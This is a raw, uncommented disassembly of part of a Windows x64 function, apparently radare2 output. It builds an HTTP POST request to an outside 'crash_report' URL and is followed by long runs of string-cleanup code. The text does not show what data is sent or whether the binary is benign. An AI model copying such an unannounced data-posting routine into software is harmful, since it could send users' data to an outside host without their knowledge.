movups xmmword [rbp + 0x288], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rdx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], r14
cmovae rdx, qword [rbp + 0x2a0]
mov r8, qword [rbp + 0x2b0]
lea rcx, [rbp + 0x278]
call fcn.140008754
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov byte [rax], sil
lea rax, [rbp + 0x230]
mov qword [rbp + 0x260], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rsi
mov qword [rbp + 0x248], rsi
lea r8d, [rdi + 0x1c]
lea rdx, str.https:__crashmetric.com_crash_report
lea rcx, [rbp + 0x230]
call fcn.14000a798
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
mov qword [rbp + 0x480], rsi
mov qword [rbp + 0x488], rsi
lea r8d, [rdi - 4]
lea rdx, str.POST
lea rcx, [rbp + 0x470]
call fcn.14000a798
nop
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x470]
lea rcx, [rbp - 0x70]
call fcn.140003180
mov rdx, qword [rbp - 0x58]
cmp rdx, r14
jb 0x1400066d6
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x1400066d0
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fa6
call fcn.1400719e0
nop
mov rdx, qword [rbp + 0x290]
cmp rdx, r14
jb 0x140006710
inc rdx
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, r15
jb 0x14000670b
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fac
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x288], xmm0
mov byte [rbp + 0x278], sil
mov rdx, qword [rbp + 0x128]
cmp rdx, r14
jb 0x140006761
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, r15
jb 0x14000675c
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fb2
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], sil
mov rdx, qword [rbp + 0x148]
cmp rdx, r14
jb 0x1400067b2
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, r15
jb 0x1400067ad
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fb8
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x130], sil
mov rdx, qword [rbp + 0x168]
cmp rdx, r14
jb 0x140006803
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, r15
jb 0x1400067fe
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fbe
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x160], xmm0
mov byte [rbp + 0x150], sil
mov rdx, qword [rbp + 0x28]
cmp rdx, r14
jb 0x14000684e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, r15
jb 0x140006849
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fc4
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], sil
mov rdx, qword [rbp + 0x48]
cmp rdx, r14
jb 0x140006893
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x14000688e
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fca
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], sil
mov rdx, qword [rbp + 0x68]
cmp rdx, r14
jb 0x1400068d8
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x1400068d3
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fd0
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x60], xmm0
mov byte [rbp + 0x50], sil
mov rdx, qword [rbp + 0xa8]
cmp rdx, r14
jb 0x140006923
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, r15
jb 0x14000691e
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fd6
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], sil
mov rdx, qword [rbp - 0x38]
cmp rdx, r14
jb 0x14000696e
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140006969
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fdc
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], sil
mov rdx, qword [rbp + 0x108]
cmp rdx, r14
jb 0x1400069b9
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, r15
jb 0x1400069b4
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fe2
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], sil
mov rdx, qword [rbp + 0xe8]
cmp rdx, r14
jb 0x140006a0a
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, r15
jb 0x140006a05
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fe8
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xd0], sil
lea rcx, [rbp + 0x210]
call fcn.140007788
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, r14
jb 0x140006a68
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, r15
jb 0x140006a63
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006fee
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], sil
mov rdx, qword [rbp + 0x88]
cmp rdx, r14
jb 0x140006ab6
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140006ab1
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006ff4
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], sil
mov rdx, qword [rbp + 8]
cmp rdx, r14
jb 0x140006afe
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r15
jb 0x140006af9
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006ffa
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], sil
mov rdx, qword [rbp - 0x18]
cmp rdx, r14
jb 0x140006b43
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x140006b3e
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007000
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], sil
mov rdx, qword [rbp + 0x188]
cmp rdx, r14
jb 0x140006b8e
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, r15
jb 0x140006b89
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007006
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x180], xmm0
mov byte [rbp + 0x170], sil
mov rdx, qword [rbp + 0x1a8]
cmp rdx, r14
jb 0x140006bdf
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, r15
jb 0x140006bda
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x14000700c
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], sil
mov rdx, qword [rbp + 0x1c8]
cmp rdx, r14
jb 0x140006c30
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, r15
jb 0x140006c2b
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007012
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1b0], sil
mov rdx, qword [rbp + 0x1e8]
cmp rdx, r14
jb 0x140006c81
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, r15
jb 0x140006c7c
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007018
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], sil
mov rdx, qword [rbp + 0x208]
cmp rdx, r14
jb 0x140006cd2
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, r15
jb 0x140006ccd
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x14000701e
call fcn.1400719e0
movdqa xmm0, xmmword [0x1400c2250]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, r14
jb 0x140006d1f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140006d19
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007024
call fcn.1400719e0
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, r14
jb 0x140006d59
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, r15
jb 0x140006d54
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x14000702a
call fcn.1400719e0
mov qword [rbp + 0x2b0], rsi
mov qword [rbp + 0x2b8], rbx
mov byte [rbp + 0x2a0], sil
mov rdx, qword [rbp + 0x2d8]
cmp rdx, r14
jb 0x140006da8
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, r15
jb 0x140006da3
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007030
call fcn.1400719e0
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], rbx
mov byte [rbp + 0x2c0], sil
mov rdx, qword [rbp + 0x2f8]
cmp rdx, r14
jb 0x140006df7
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, r15
jb 0x140006df2
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140007036
call fcn.1400719e0
mov qword [rbp + 0x2f0], rsi
mov qword [rbp + 0x2f8], rbx
mov byte [rbp + 0x2e0], sil
mov rdx, qword [rbp + 0x338]
cmp rdx, r14
jb 0x140006e46
inc rdx
mov rcx, qword [rbp + 0x320]
mov rax, rcx
cmp rdx, r15
jb 0x140006e41
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x14000703c
call fcn.1400719e0
mov qword [rbp + 0x330], rsi
mov qword [rbp + 0x338], rbx
mov byte [rbp + 0x320], sil
mov rdx, qword [rbp + 0x318]
cmp rdx, r14
jb 0x140006e95
inc rdx
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, r15
jb 0x140006e90
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x140006f6a
call fcn.1400719e0
mov qword [rbp + 0x310], rsi
mov qword [rbp + 0x318], rbx
mov byte [rbp + 0x300], sil
lea rcx, [rbp + 0x398]
call fcn.140007788
nop
lea rcx, [rbp + 0x430]
call fcn.140007788
nop
lea rcx, [rbp + 0x3b8]
call fcn.140007788
nop
lea rcx, [rbp + 0x380]
call fcn.1400071bc
nop
lea rcx, [rbp + 0x3d8]
call fcn.140007788
nop
lea rcx, [rbp + 0x3f8]
call fcn.140007788
nop
lea rcx, [rbp + 0x450]
call fcn.140007140
nop
lea rcx, [rbp + 0x418]
call fcn.140007140
nop
lea rcx, [rbp + 0x360]
call fcn.140007788
nop
lea rcx, [rbp + 0x340]
call fcn.140007788
nop
lea rcx, [rbp + 0x4b0]
call fcn.14000851c
xor eax, eax
mov rcx, qword [rbp + 0x7f0]
xor rcx, rsp
call fcn.1400719c0
lea r11, [rsp + 0x900]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
int3
call fcn.14007cac8
int3
call fcn.14007cac8
int3
call fcn.140001358
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
nop
call fcn.14007cac8
int3